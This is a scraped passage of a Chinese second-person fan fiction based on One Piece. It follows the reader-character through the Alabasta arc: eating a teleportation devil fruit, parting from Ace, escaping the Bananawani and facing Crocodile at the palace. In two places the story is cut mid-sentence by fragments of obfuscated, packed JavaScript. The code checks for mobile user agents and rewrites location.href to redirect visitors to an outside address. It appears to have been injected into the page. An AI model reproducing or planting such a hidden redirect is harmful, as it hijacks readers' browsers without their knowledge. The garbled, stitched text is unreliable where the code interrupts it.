RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538340|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们磕磕绊绊地给你指路。 你洗漱归来,整个人崭新如洗,容光焕发的你现在嗅到走过沙漠几日的汗臭味难免面露嫌弃。 你催艾斯也去洗漱,他嗅嗅自己,说没什么味道啊。 你:“这么久没洗澡你难道不觉得不舒服吗?赶紧洗澡去吧少年,不然我可就要独享坐骑了。快去快去。” 艾斯拿你没办法。 他去洗澡了,走前还吩咐那群混混小心点,伤害你的话他可就不好说话了,混混点头哈腰,他们现在围着的桌子上也换新了一批食物。 之前被艾斯扫光的残渣也不见踪影。 你忍不住发出一声哼笑,“你们倒是很会做事嘛。” 头领说哪里哪里,你觉得有趣,看人变脸居然已经成为你的新兴趣了吗?好吧,你承认自己身上的恶趣味。 他侍奉你入座,你满意地拍过他们几人的脑袋。他们敢怒不敢言。 你随意吃了点东西饱腹,主要食品是水果,毕竟这几天你常常吃肉,再不吃点蔬果你感觉自己的肠胃要和你抗议。 而这决定让你既幸运又不幸运地品尝到传说中的恶魔果实到底是何滋味。 在谁也没想到的时候,你手里的水果忽然变成恶魔果实,啃到你嘴里的果肉顿时变成一股难以言喻的难吃味道填满你的味蕾,你觉得好像有谁在你的嘴巴里倒了酸甜苦辣咸五种口味的调味料,你的表情瞬间变得皱巴到一块,难以言喻。 难吃,妈呀,好难吃,超级难吃,忒难吃了。 你疯狂喝水想要压下那股奇怪的味道,那群混混瞠目结舌地看着你的举措。 一亿就这么从他们眼前溜走了。 那股怪味终于从你嘴巴里散去了,艾斯也回来了,他坐到你的旁边,看你从面部扭曲恢复原样,问你感觉如何,你说很糟糕,好难吃。你从来没有这么亏待过你的味蕾。 他说恶魔果实就是这样的,等味道散去就好了。 艾斯又问你要不要尝试一下自己的能力? 这里附近刚好没人,那群混混知晓自己被人要挟一事极为丢脸,早早为他们自己清过场地,你想过一阵,决定尝试。 一阵天旋地转。 你的视线骤然拔高,脚下的支撑物也从坚实的地板变成圆滑的屋顶瓦片,你站在屋顶,听见楼下那群混混在尖叫,四处跑动的声音响起,艾斯从你们原来呆的那处客厅跑了出来,他左右环顾,直到听见你喊他的声音抬头去看。就见你抓紧一旁立起的天线,额间冒汗的模样。 艾斯的双手抵在唇边作出喇叭的样子,高喊道让你再试试用能力下来。你观他无言,忍过内脏的瘙痒感再度使用你的能力,又是那股天旋地转的感觉。 其实你是想给艾斯一拳的,不为什么,单纯就是想这么做。可惜出现在你眼前的人并不是艾斯,而是那群缩在原地的假反抗军。他们被你的突然闪现吓了一跳,艾斯挠过后颈来到你的身边,这能力真不好控制啊。他说。 —— 你们拖着堆成一座小山的物资和路飞他们会合。远远瞧见你的身影时,娜美和路飞一同飞奔过来,只是对比更关注哥哥的路飞,她先一步扑到你的怀里,骂你笨蛋为什么不跟紧她们?知道她有多担心你吗? 你回抱过她,哎呀哎呀俩声,摸过她柔顺的长发,说你也不想的嘛,但就是这样那样,这样那样的原因你们走散了。 但是你看,我不是还好好地站在这儿吗?没事的啦。 娜美哼了一声,捏扯过你的脸,说下次不许再这样冒失了,听明白了吗? 你嗯嗯地回她,隔壁的艾斯正和路飞交换信息。路飞知道你获取了恶魔果实,就问你果实能力是什么?你也并不介意,逐在他面前试了一番,一个闪现,你人出现在索隆的脑袋上,他被你骑得一个趔趄。 索隆额冒青筋,问你是不是故意的,你说哪有哪有,你才刚得到这果实能力,运用不当多正常啊,再者说你本来是想骑到睫毛身上的。 索隆勉力站直身子,让你离开他的肩膀,你拍过他头,再度催发,这次落地准确了,就在睫毛的身上,你对上双眼冒光的路飞眼睛。 你:“哈哈,总之,我的能力目前来讲就是瞬间移动了。” 9. 阿拉巴斯坦副本6 有些事情值得说道,有些事情不值得说道。 一群重新拾起勇气的混混。 一个怀揣着梦想的赏金猎人和他的俩个孩子。 短短俩句之间,你们与艾斯的缘分就此结束。 夕阳斜下,橘红的暖光与逐渐下降的气温证实如今就是离别的好时候。艾斯把他的生命纸交付予路飞,嘱咐的话很简短。在见过你们之后他发现自己对于路飞确实没什么好担心的了,一群可靠强悍的伙伴总能为他这位胡闹经常的弟弟兜底。 艾斯朝你们鞠躬,在视线一一扫过路飞身后的每一个人。他嘴角弯起,对路飞开口:“下次见面,就是海贼的巅峰之处了。” “好!” 他很满意路飞的回应。 同样在临行之前,艾斯的生命纸也分给了你一张。男人修长的两根指节只是轻轻地收拢指隙,那能够指引你们相遇的纸张就被他稳当地夹着。他把它递给你,“这是你的。” 你不掩惊讶,身后的伙伴与你同样,你指着自己带点不敢置信的语气问他“我也有份?” “是的,白胡子海盗团的成员都有一份。毕竟我们是家人嘛。” 你:“?我可不记得我什么时候加入过白胡子海盗团,” “你总有一天会是的嘛,”艾斯口吻难得有些粘糊,学习着路飞撒娇的语调,弯下腰脸同你凑得极近,你近乎能数清他的睫毛根数,他知道自己脸蛋的威力,没人能在这种美颜冲击之下说出拒绝的话。“提前收下对你没有坏处,收下吧。” 你人还没说什么,索隆就在你的身后突然伸手吓你一跳,他拉开你与艾斯距离,将你带进他和山治之间的空隙,山治面露正色。 索隆:“不好意思,她是我们的船员,不会离开我们。” 刚还在和睫毛起冲突的路飞耳朵灵敏,将手伸长缠绕在你的脖子和腰,整个人挂到你的身上,你承受着一名正常青少年的体重,足跟下沉,耳边吵嚷。路飞对艾斯龇牙咧嘴,艾斯,我听娜美说过了,这已经不是第一次了!不行啊不行!就算是你也不能挖走我的同伴!不行!不行! 你的耳朵要聋了。 “喂!” 你收下艾斯的生命纸,捏扯过路飞的脸,说你没答应!无论多少次都是一样的答案,你不会答应的。 路飞可怜巴巴地蹭过你的脸,你叹息,身后又挂着娜美,她不知道什么时候挤走索隆过来抱着你,和路飞一样,紧紧缠着你。乔巴看你们这么亲密好像以为这是什么团体活动,他也跑过来,小巧的身子抱着你的小腿,说你是他们的,就算是路飞的哥哥也不可以拐走。 感谢现在不是白日,不然你得热死。 你二度叹气,艾斯在你面前笑,说你可真受欢迎。你认命,努力站直身体算是默认了你的同伴们的挂靠行为,敷衍地打哈哈回他,你也是第一次知道。总之,这得是最后一次了,再挖墙脚可就不止你拒绝了,其他人都要找你算账哦艾斯。 “看出来了。”艾斯压过帽檐,这次是真的要走了,在夕阳那边站着的蜥蜴还在等他,哦,它还没脱离当坐骑的使命呢。 艾斯逐渐走远,一只手在夕阳之下轻轻地摇晃。 “下次见。” “下次见。” 有故人离去,亦有故人相逢。 你们来到犹巴,刚刚刮过的一场沙暴让薇薇本就一直提起的心脏更往上移。不敢置信与痛苦在她的眼睛里凝聚成未涌出的泪花,她跑到沙坑旁,你和娜美从睫毛的身上跳下来。一名干瘦的老人吃力地挖坑以图犹巴的绿洲重见天日。 刚卷过沙尘暴的城镇中空气也带着沙砾,你呼吸沉沉,从多托老伯口中得到的情报与已知的那些联合在一起形成你脑海里的推理,你相信在这里的聪明人都知道这不曾停歇的沙暴到底是何者所为。 你的手抑制不住地发抖,你的双手交握,深呼吸。与此同时,你的肩膀一沉,还带着原主人温度的衣物为你挡住寒风的吹拂,你侧眼一看,是山治。 “不要着凉了,■■桑。” 你沉默半晌,才吐出一句,“谢谢你,山治。” 夜间。 大伙都跑去多托老伯所说的那间小屋休息,这几天没怎么受累的你则选择和路飞一起看着多托。 多托依旧在费力地挖坑,路飞蹲坐着,注视他的举措,良久仍未见水的溢出,他问多托水呢,多托说再等等,水一定会出来的。犹巴才不会输给沙暴。 犹巴是国王陛下交付于他的,他是不会让他失望的。 老人絮絮叨叨,话接着话,其密度让人难以插嘴。而路飞作为朴素的单细胞生物在听完这么一大段话后唯一的领悟就是,那不就是挖坑吗?好!他也挖吧! 不加掩饰的欲望和直接的行动。 不断翻腾而出的沙堆还有脸上脏兮兮,好像没有烦恼的路飞让你原还有些沉闷的心情终于疏朗。你跳到多托呆着的那个坑中,问他说还有铲子吗?你也来帮一把手。多托愣住,手舞足蹈,对你说小姑娘你要不去歇着吧,这种事交给他们,不,他就行了。 你哼出一气,雄赳赳气昂昂地给他比划自己这些日子里锻炼出来的肌肉,结实有力,完全是你这些天里没有怠慢训练的结果啊! 你说放心吧,你并非不自量力,安心让你帮忙就好了! 多托拗不过你,给你带来了另一把铲子。 结果就是,你和多托老伯在同一个沙坑,路飞自己一个沙坑。你们齐心协力,他一下你一下,沙坑在逐渐深入,但是从路飞那里飞来一堆又一堆的沙子又非常碍事地阻挠了你们的行动和视线,如此捣乱之行迹让你暴脾气上来,一个闪现出现在路飞的面前伸手拉扯他的脸蛋让他的变成扁扁的椭圆形脑袋。 你说“听好了坏小子,挖坑的方向换一个!再往我们这里填沙子你明天就断粮一餐!听懂了吗?” 路飞被你扯得话也说不清,“吱、到、了、嘛。” 你松开手,他揉过自己的脸蛋用控诉的眼神看你,说好过分哦。 你一个眼刀。 他乖顺闭嘴。 你回到多托那里,他看着忽然消失又忽然出现的你,表情有些呆愣。 你说啊,其实我是能力者哦。 多托:能力者? 你:“是哦,能力者。” 多托看上去好像懂了,但又好像没懂。 你对此只是笑笑,说你们继续吧,别管那个笨蛋了。 路飞:“我听到了——” 你:“没说给你听!” 当然,说不管他肯定是假的。当你们发现路飞那里飞来的沙堆许久没出现时,你再度使用能力来到路飞在的地方,他侧躺沉睡。即使被你捏过脸蛋也不见苏醒的迹象,一枚巨大的鼻涕泡正顺着他呼吸由大至小。 “臭小子。”你嘴角弯弯,多托翻身下来,弯腰抱起路飞对你温和地说,“小姑娘,也去休息吧。” 他在你有些犹疑的举措中轻轻摇头,“你们已经很累了,去睡吧。相信犹巴,肯定会有水的。” 你睡醒时人正靠在索隆的背上,他后背宽阔,行路稳健,一手拿着刀鞘,一手拿着刀柄,稳稳当当地以他的刀为底座将你背起,视线范围之内的白色衣衫甚至还留着浅浅的属于你的口水印。 你:“……?” 你问他,“怎么不叫醒我?” 索隆额角跳动,“要不想想你早上都说了什么?” 早上的回忆复苏。 他们是叫过你来着,但因为实在太困,你翻滚多次捂着被子左右摇晃,把床褥弄得乱七八糟都没办法阻止自己的神思入睡。干脆指着索隆让他背你。 索隆:“哈?” 你:“对,就是你。” 索隆觉得你真是越来越娇气,他说你已经病好了,痊愈了的病号没有理由,完全没有理由再指使他。而你已经抵挡不住困意呼呼大睡,全然不听他的抗议。意识完全模糊之前你好像还隐约听到路飞说了些什么,娜美好像也说了话,场面热热闹闹,就是半句都没入脑。 但就结果来看,哦,他还是认命哉背你走了那么长的一段路。 你看向满面怒容的薇薇和一脸执拗的路飞,问索隆:“发生什么了?” 索隆:“继续看就知道了。” 你和他一起看,路飞被薇薇连打数掌仍面不改色,他说“就凭你一条命根本不够赌。” 她说“那我该拿什么来赌?” 痛苦,痛苦,还是痛苦。 她的声音渐渐弱了下去,路飞则抓住她的双手制止她发泄的拳头,那句笃定的发言惊起群鸟飞起四散。 “那就赌上我们所有人的命!我们不是同伴吗!” 这家伙,完全没问你们的意思啊。 你从索隆的身上下来,在哭泣的薇薇身边站稳,你的手心搭在她的肩膀之上蹲下来朝她微笑。 “相信我们吧。” 克洛克达尔,你们一定会揍飞他给她看的。 话是说得很帅气没错。 但在打大boss之前的追逐战就让你们脑壳嗡嗡地痛。路飞和乌索普带来一群海军对着你们穷追不舍,你们兵分三路,你和薇薇索隆一组。 长跑已经从你的短板变成你的长板,你感觉自己只要还在这艘贼船你的肺活量成比数往上蹭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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反胃感已经濒临阈值,你浑身都是冷汗,如果再催发能力你们也不知晓会发生些什么。妮可罗宾的眼中似乎含着几分同情,你咬着下唇,听她的劝诱。 “继续逃跑对你们没有任何好处。” “就这样老实被抓,好吗?” 你被罗宾拷上海缕石的手铐。 浑身发软,但你还能撑住。 反派似乎都有看别人的痛苦为乐的癖好,即使罗宾并非出于本心,她还是按照克洛克达尔的吩咐去做了。 无论是把贝鲁和薇薇耍得团团转,还是把你们带到克洛克达尔的身边,看着薇薇痛苦地对克洛克达尔使出愤怒的一击。 你始终一言不发。 罗宾笑说你可真是冷酷,见同伴被这般欺辱也无动于衷,你问她,“我现在愤怒你们就会放过我们吗?” 她的假扮的笑渐渐从她的眼中收敛,即使嘴角是弯起的,她实也没什么情绪,不是吗?他人的痛苦和她都好像隔了一层厚厚的屏障,无法共情,她也不会允许自己去共情。 那样会死的。 “你很聪明。” 她夸赞你,手里拿着属于你的手铐钥匙,它是真的那把钥匙吗?你不确定。她漫不经心地把玩它。隔壁的克洛克达尔还在玩弄薇薇的意志。 这里形成四角对抗,你坐在长椅之上。路飞在呐喊放开你们。 克洛克达尔欣赏够了薇薇,该朝你看来,“我记得你。” 你:“我应该感到荣幸吗?mr 0” 他踱步而来,金色弯钩贴着你的脸颊擦过,“你的运气真好啊,瞬间移动,瞬瞬果实。多少人盼求且感兴趣的果实能力。” “如果你是我们这一方的,我的行动会变得顺利更多吧?哈,真是可惜,” 你面不改色,他冷眼瞧你。 “miss all Sunday。” “是。” 他们对视一眼,罗宾心领神会,那枚属于你的钥匙掉进沟壑之中,你的手一下攥紧,不要冲动。你:“你的计划一定会失败的,克洛克达尔。” “败者无用的遗言?”他对你表现得很有耐心。 “不,是既定的事实。” “噗…哈哈哈哈。”他大笑出声,弯钩在你的脸上划开一个口子,鲜血流淌,他不在意,他不在乎你们现在的所有挣扎,因为一切于他眼底都只是弱者临死前的徒劳无功。克洛克达尔的脸忽地凑近,你能从他的眼中看出审视,冷酷,戏谑,以及压抑的某种的情愫。 好像死神在你的耳边低语,克洛克达尔:“如果你还能活到那个时候的话,我很期待。” 他们终是走远,香蕉鳄鱼逐渐逼近你们。 不要害怕,不要害怕。 你多少聚集了些体力,吃力地躲避血口,你朝人大喊。 “斯摩格!找到那个该死的鳄鱼。” “薇薇,相信我们!我一定,一定会把我们所有人都带到那个该死的混蛋那里!” “一定会揍飞他的!” 10. 阿拉巴斯坦副本7 香蕉鳄鱼不是凭你嘶喊就会离开退怯的生物。 路飞在让你们快跑,一定要从香蕉鳄鱼的嘴里取出钥匙,乌索普说别强人所难了混蛋啊。 他让你快逃,不过记得要赶快回来救他们。 你脑瓜子嗡嗡,被克洛克达尔恐吓的心惊胆战都气得消去不少,只能在讲正事的时候还要插一句嘴回他,“别他爸的强人所难了混蛋。” “又拿外语骂人!” 乌索普呜呜喂喂地说着胡话,是的,刚才你气到用中文骂人了。 薇薇护着你,她几次带你逃脱香蕉鳄鱼的追击,即使其中有一次被成功击中,但是你们仍旧站了起来。身体很痛,你真的很久没这么狼狈了。你面对着香蕉鳄鱼,呼呼喝喝地喘息,人恐惧紧张到极致时,就会极度地冷静。 “薇薇,你先跑。” “什么?!” “我的弹跳力不足以让我做到跳上那个石梯,你要是带着我这样的拖累也没办法成功逃脱……” “可是!”薇薇焦急地打断你的话,你更大声地打断她想要说的东西,“相信我!” 薇薇歇了旗鼓,那悲伤担忧的眼睛看着你的侧脸,你没有回看她,只是正视着那条穷追不舍的鳄鱼,艰难地咽下一口唾沫,你对她道,“薇薇,我能应付,只要给我时间。” 它又一次朝你们袭来,你吃力地往旁边跑开,看着它猛地扎进自己撞出来的窟窿里,一时之间难以出来,这是极好的时机,你大喊。“逃!” 薇薇怔愣不过几秒,眼泪从她的脸上流下,她嘴唇蠕动,浑身颤抖。但你还是没有回头,你只说,“跑啊!快点!” 她怎能错过这大好时机? 薇薇咬着牙跑了,她的动作非常迅速,不过几下就踩过鳄鱼的脊背成功去到石梯,她不敢耽搁时间,只用你同样声量的声音回你,“我一定会回来的!” 你这才长舒口气。 虽然你看不见薇薇此时此刻的表情,但你相信她,一定会带着救命稻草回来的公主啊。 斯摩格喂了一声喊你,“只剩你自己面对这些鳄鱼,你是想找死吗?” 你看着耸动身姿,即将脱离窟窿的鳄鱼,水流声哗哗,你们都知道这是一种别样的沙漏,水流涌动得越快,你们距离死亡也就越近。 “我还不至于拿自己的命开玩笑。” 他的眼神很犀利,你姑且理解以前被你这么看着的人的心情,他注目良久,又或许只是短暂的一瞬。 他配合了你。 “等它过来,我会告诉你的。” 你盯准那只鳄鱼。它的咬合力惊人,速度极快,与动画中的场面相比,在你面前坍塌的是真实无比的建筑物,那凭借你自我本身绝对无法破坏的石梯铁柱。 你早有疑问,它能否咬穿困住你同伴们的铜墙铁壁? 它要出来了。 你抓紧时间,对着身后的伙伴说道,“路飞,娜美,索隆,乌索普,我要做一件很冒险的事。你们相信我吗?” 方才还在吵吵闹闹让你快走,不对,快躲,啊不对!怎么办怎么办,你现在还受困于海缕石,■■!作为主力战员的几个陷入自责,一切乱七八糟的。 真是…… 他们静下声音,娜美第一个反应过来你要做什么,她抓紧栏杆,和乌索普喊你不要做傻事,但此刻路飞和索隆却表现得出人意料的冷静,路飞又一次忘记教训,手握海缕石的笼子构造,他虽然虚弱,声音却半点没有软弱的意思,“我相信你。” 安心了。 你勾起嘴角。 你喊过鳄鱼的蔑称,它听不懂人话,但是你叽叽歪歪的叫声已经吸引住他的注意。它终于脱身,整条兽面对着你,你和它对视,看它凶恶的眼神与不住流下的唾液。你弓起身体,再度叫喊,它以迅雷不及掩耳之势朝你飞奔而来,那两排锋锐的牙齿与你越来越近,你就赌这一下了! 你往上一跳! 咔嚓的牙齿崩裂声清脆无比,妈的,你赌失败了。 你的身体滑入鳄鱼的口腔,鳄鱼往上抬头,为了避免二次受挫,你有意绷直身体就为了顺利进入它的肚子。 盼求它咬碎你的手铐让你靠着能力进入某只鳄鱼的肚子取钥匙的计划失败。现在的你只有进它肚子等人救这么一条路了。啧,天杀的,幸运女神你就这么对你吧,你一点儿也不难过。 居然是想赌那只鳄鱼能不能咬破这个笼子…… 你这家伙。 斯摩格在此地的眉头就没松过,他想斥责你的异想天开,但你在意识到赌错之后的举措又让他忍不住咂舌,就这么相信这一伙人吗?他扫过正在努力将脸挤出笼子做无用功的草帽小子,又看向紧攥刀柄的剑士,橘发的女人咬着嘴唇一直盯着那只鳄鱼,长鼻子的男人在发出无意义的尖叫让他的耳朵生疼。 麻烦。 雪茄在他的齿间滚过一圈,斯摩格:“她还没死。” “她是整个人完整地进去,香蕉鳄鱼的胃酸没有强到瞬间消化人类的程度。那个女人,现在也只不过是暂时地呆在它的肚子里。如果你们的同伴救兵搬得够快,她就还有救。” 草帽小子没有放弃挣扎出去的举动,只是嘴里的名字换了,是他别的同伴的名字吧。斯摩格看向出口。 有人来了。 草帽小子的动作顿住,后又开口“山治!” “那只鳄鱼,那只鳄鱼它把■■吞掉了!快把她就出来啊!!!” 意识到里面有你的山治踢飞鳄鱼的动作一顿,他紧张的状态众所周知,“■■桑!!” 鳄鱼的腹部几度收缩,甚至受到了不小的冲击,所幸它的腹部给你缓冲,你感受到它胃袋的蠕动,你抬头看去,有光进来。有人来救你了? 你努力挪动,有人伸手过来,你继续往前,终于—— “谢谢。” 你靠在山治的怀里喘息,浑身黏糊糊湿哒哒的你被颤抖着的手抓着手臂,你抬头,山治看起来好像快哭了。 “我没事,山治。” “我没事!大家!” 众人喜极而泣。 “干掉冒出来的第三只鳄鱼。” 斯摩格打断欢欣,山治审视过他,斯摩格面不改色。 结果喜人,掉出来的钥匙被你迅速捡到,你委托山治帮你解锁,幸运的是掉下来的属于你的是真钥匙,你的无力感消失不见,不幸运的是另一只钥匙是假的。 但更幸运的是,从被融化的蜡球出来的蜡烛人拥有制作钥匙的能力。 山治为你们狠狠教训了那蜡烛人一顿,铁笼开了。 你在旁边鼓掌,说“我要爱上你了哦,山治。” 山治双手相握,飘到你的旁边,双眼冒着爱心,语气飘忽,“真的吗?”你拍拍他的脑袋,回应:“是,是。” —— 娜美在挤破水泥墙的水流里将你牵得死紧,你从未想到会在此时此刻感受到她的力气之大,你感觉自己的掌骨好像要被她捏碎,但她显然并不想真的这么做,所以你只是疼,大概率还淤青了。 很想对她说些什么,却奈何身在水中,你无法说话,甚至连动作都很是吃力。 你只好等到上岸,她把你带出水面,终于能呼吸新鲜空气的你呛咳出几次无心吸入的水。娜美在你的旁边,神色正常,双手拧出头发里的水。你几度张口,她却好像没有看到一样,行迹正常。 你们收拾完毕,斯摩格和索隆的对峙不在你们的考虑范围内,反正他们会自己解决的。 海军聚集过来了,斯摩格因为欠了你们人情而让你们快走,娜美再度握紧你的手心,这次没那么紧,只说,“走吧。” 你:“……好。” —— 你躺在搬家蟹的背上,一句话也不想说。 刚刚薇薇被克洛克达尔的金钩抓住时你瞬间启动了能力,一次未成,一次成功,你伸臂揽过薇薇的肩膀,要第三次使用时路飞的手已经伸了过来。 他抱过你们,很短暂,也很温暖。 “■■,薇薇。”路飞的吐息落在你的耳畔,你的余光瞧见他的神情,压抑着怒火的眼睛,他:“交给我吧。” 他把你们抛给伸手接过你们的伙伴,纯黑的瞳孔将夕阳之下的景色尽览目中,他喊道,“你们先走!我一个人就够了!” 船长下定决心,要自己率先处理难缠的大boss,你们没人可以阻挠他的决定。 蟹背之上氛围不一。 山治和索隆差点互掐,娜美阻止了他们的暴乱,薇薇在尝试说出缓和气氛的话,虽然这更加明显地暴露了她紧张的心情。 你全程没有说话,乔巴坐在你的旁边为你的小腿包扎好伤口,他说那香蕉鳄鱼朝你咬来之时你没有受到致命伤却只有这种见血的擦伤……他低着头时面目凝重,抬起脸时却用那柔软可爱的脸朝你扬起安抚意味的笑,可能是从dr.库蕾哈那里学来的吧。他想安慰你,就用小巧的蹄子搭在你的手背上,用稚嫩的嗓音对你说辛苦了。 你一定很努力,才能自保如此。 “……” 你伸手摸过他的脑袋。温和笑笑,“谢谢你,全世界最好的医生乔巴。” “混蛋,就算你这么夸我,我也不会开心的啦。”他脸上浮起红晕,下肢扭动着,一派可爱的表里不一作派。 调笑过后,你正经危坐,长舒一气,逐言:“在正式作战之前,我先讲解下我的能力。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17538342|203888||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 你的能力,瞬瞬果实,按照字面意思就是能够让你瞬间移动,范围是以你为中心的三百米之内,应该可以更远,但需要你更强的身体素质。 体感呢,就像是把你压缩分解成一小团物体然后到一个地方之后再解压放大。你能依靠这个能力做到带着人或物瞬间移动,目前移动过的最大物体是薇薇,为了保存体力,你暂且没试着用睫毛或者搬家蟹来看看你能负重跑多远,但未来负重跑一定会是你的训练项目了。 变强,变强啊。 你支着下颚看他们,“我的能力副作用是反胃和体力消耗。连续太多次瞬移我就会脱力呕吐,但如果控制得当,我会是很好的移动帮手。” “所以接下来,我会跟着薇薇行动,帮助她尽快穿梭各地以便阻止战争。” —— 你和薇薇躲过了mr2的追杀,在跑得快鸭子团队的协助下,你们紧赶慢赶,终于抵达皇宫。时机来得刚好,克洛克达尔的身边是被钉子钉住手脚的国王,另一边是双手抱臂,作壁上观的妮可罗宾。 克洛克达尔对你的到来似乎并不意外,他看过你小腿的绷带,再打量过你身上的伤势,才慢慢悠悠,充满戏谑意味地与你对视。“你还没死。” 低沉的嗓音唤过你的名姓,你被这般打量得激出一身恶寒。 你:“让你遗憾了,我们都没死。” 他哈哈大笑,回你:“不,草帽小子他已经死了。”国王的护卫军与他对决,他满不在乎,身形化沙,疏散开来以致没人能击中他的实体。 而反抗军的首领也在此刻到来,他问这一切都是真的吗?国家英雄,居然是摧毁这个国家的罪魁祸首。 国王让他赶紧去做他能做的事,他转身就跑,你就在他的身边及时伸手拉住他的冲动。“别做傻事。” “放开我!”寇沙在挣脱你的控制,但你却不敢松手,薇薇及时赶到,双手紧扣他的肩膀,让他冷静下来。“现在不是去告诉他们的时候。” “要是大家知道了广场会爆炸这件事,你以为会发生什么下场?” “大家会发生恐慌,而这样,这场暴乱就无法阻止了。寇沙。” 薇薇吐字清晰,时间在款款流逝,克洛克达尔不在意他们此刻的挣扎,倒不如说他们聊得越久,距离他所期盼的结局也就越近。但是他不会放任你们败坏他的设计,所以你抓紧了他们肩膀。 一次闪避。 “麻烦的能力。”克洛克达尔咂舌,他不再留情,金钩再袭而过,你被风沙吹得眯起眼睛,再闪! 你们出现在楼梯底下,铿锵声入耳,你们往上看去,这个国家的守护神再度站起,他帮你们挡过敌人,让你们快跑。 你们又躲过一回。 你们三人不敢浪费时间,急忙往门口冲去,国王军整装待发,气势熊熊,所有人都做好了作战的准备。但是你们的到来打断了他们打算,众人惊异于寇沙的到来,薇薇站在顶端俯瞰父皇旗下的军队,热泪含框。 那些都是她的挚友亲朋啊。 这座城池里的所有人,除却克洛克达尔等人,都是她的子民,在她赶来此地之前,无数人倒地,气息奄奄,人命危浅。 没有多余的时间让她伤心,这场战争必须停下!必须! 她直抒胸臆,“大家!举起白旗投降吧!” —— 步声似蹄声。 反抗军面貌狰狞,他们人群汹涌,如大军压境,如果他们真的全都开启混战,这座城池该当如何? 你已经见过尸体,白化的枯骨甚至被风吹化成沙,你最直白地接触战争,还是那些家乡的抗争片,血糊拉碴的尸体横躺各地,血流成河。 这里也要如此吗? 反抗军驻足,他们问寇沙为何在此。 作为反抗军首领的寇沙紧绷着脸,“战争已经结束了!” “全员,放下武器!” “国王军已经没有战意了!” 他的声音甚至带着几分颤抖。 心脏震颤。 什么? 你余光扫过,有人偷举起枪。遭了,你下意识用力,一声枪响,风沙绕人。 几声枪响,有人中弹,你喘息声不止。“寇沙先生!” 反抗军的副将抬头遥望,寇沙举着白旗正矗立于楼顶之上,同你和薇薇站在一块。 “是巴洛克工作社!”寇沙胸缠绷带,没有血色。 “停下来吧!那些开枪的混蛋!绝对不是你我中人!” 杀意惊现。 你们三人再度穿梭,面露震惊,克洛克达尔悠然收起金钩,眼睑半垂着哼哼笑你,“距离缩短了。” “这份能力,你还能用多少次?” 11. 阿拉巴斯坦副本完 世界以痛吻你,你不知该报以德还是该报以怨。 克洛克达尔是个精明难缠的敌人。 楼下厮杀声不断,局势已经陷入你们最不想看见的情况——三方混战。巴洛克工作社的亿万夫长不是吃白饭的,即使寇沙有言在先,但是现场的声浪混乱,枪声与伤亡倒塌的声音混杂,沙尘又迷乱视线,人群根本分不清敌友,谁都无法判断跟他们战斗着的到底是他们的亲朋,还是暗地插刀的亿万夫长。 你们这边也已经濒临极限。 克洛克达尔的沙化范围很大,你因体力不支已经没办法再进行远途传送,与其耗尽体力彻底沦为累赘,不如放手一搏。你们三人分开来跑,寇沙作为少有的战斗力替你和薇薇防卫克洛克达尔的攻击。 克洛克达尔:“还在想着做无用功?” 大剑与金钩持平,“快走!薇薇!”寇沙的声音在呐喊,而他与克洛克达尔之间的对峙声只响过一瞬,那道血肉被冲击的声音好像在嗤笑你们的不自量力,你抓紧薇薇的手,湿粘的冷汗之下厚实的掌心肉在忠诚地为你们传递彼此的脉搏心跳。 一下,俩下。 你不断压着心慌,风声簌簌,快跑,快跑!快跑啊!你的体力快要见底,你只剩下一次闪避的机会,你能感受得到此时不是使用它的好时机,但到底该怎么办? 怎么办? 怎么办才能找到生机? 你隐隐听见耳鸣。 “克洛克达尔!!!” !!! 你一个趔趄,薇薇眼疾手快扶住了你。有人替你们挡住攻击,这次结结实实,没有听到受伤的那种沉闷的声音,你们都没忍住回头看,是路飞手握金钩与克洛克达尔对峙。 你头一次看到那个混蛋如此难看的脸色。 “草帽小子。”克洛克达尔咬牙切齿。 你真的,你想忍,但笑声还是溢出口中,你能感受到目光聚集在你身上,薇薇和贝鲁解释现状,他维持着老鹰的形态温顺趴下。 你们该走了。 你趴在贝鲁的背上,“路飞!!” “一定要狠狠揍飞他!!!” —— 雨声盖过了一切。 你们把路飞从国王的背上抱下来,完全失去意识的人身体很重,但他被众人托举,体重均匀分摊给每一个拖抱着这家伙的人身上。 乌索普:“我们真的有必要这么托着他吗?” 你:“没必要。” 但很有趣,这么拖抱着他的时候你能看见他圆乎乎的脑袋,即使身负重伤,他的表情依旧安详平静,好像这些对他而言都不算什么,顶多就是平日里的插曲。 等到他睡醒,你们所见的估计又会是那个充满活力的他。 路飞啊,你拍拍他的背,心想。 他怎么就这么讨人喜欢呢? —— “索隆——” 正在训练的某位绿藻头一听这熟悉的声音就顿感不妙,这一瞬间的愣神动作让修炼用的巨石轰隆倒入水池,他被溅了一身的水,而某位罪魁祸首——你,施施然地走到这边,动用能力来到他的面前,不仅学那可恶的金发圈圈眉喊他绿藻头,还说他真是半天都不能消停,只是一会儿没看住他他就又来训练。 到底不能消停的是谁啊? 这几天每次训练你都像装了雷达一样没过多久就赶过来了。你狠狠地捏扯他的右脸,天旋地转,你们来到这座河流的旁侧空地,他被你扯得口齿不清,却依旧要吐槽你。“你到底为什么要把那个圈圈眉的口癖也学走啊。” “我不来找你,你就会这样锻炼到晚上吧?某位受重伤的兄台,乔巴会用他可爱的鹿角戳你哦。” “乔巴才不会这么做。” “哦,所以我才会过来抓你。” 索隆知道今天的训练八成是不得行了,他哼出一息,坐在地上,顺带还给你挪了位置。你自然坐到他的旁边,这座下过雨的城池失去了往日的干燥,你们呼吸着同一片湿润的空气,身边还放着一个野餐篮。 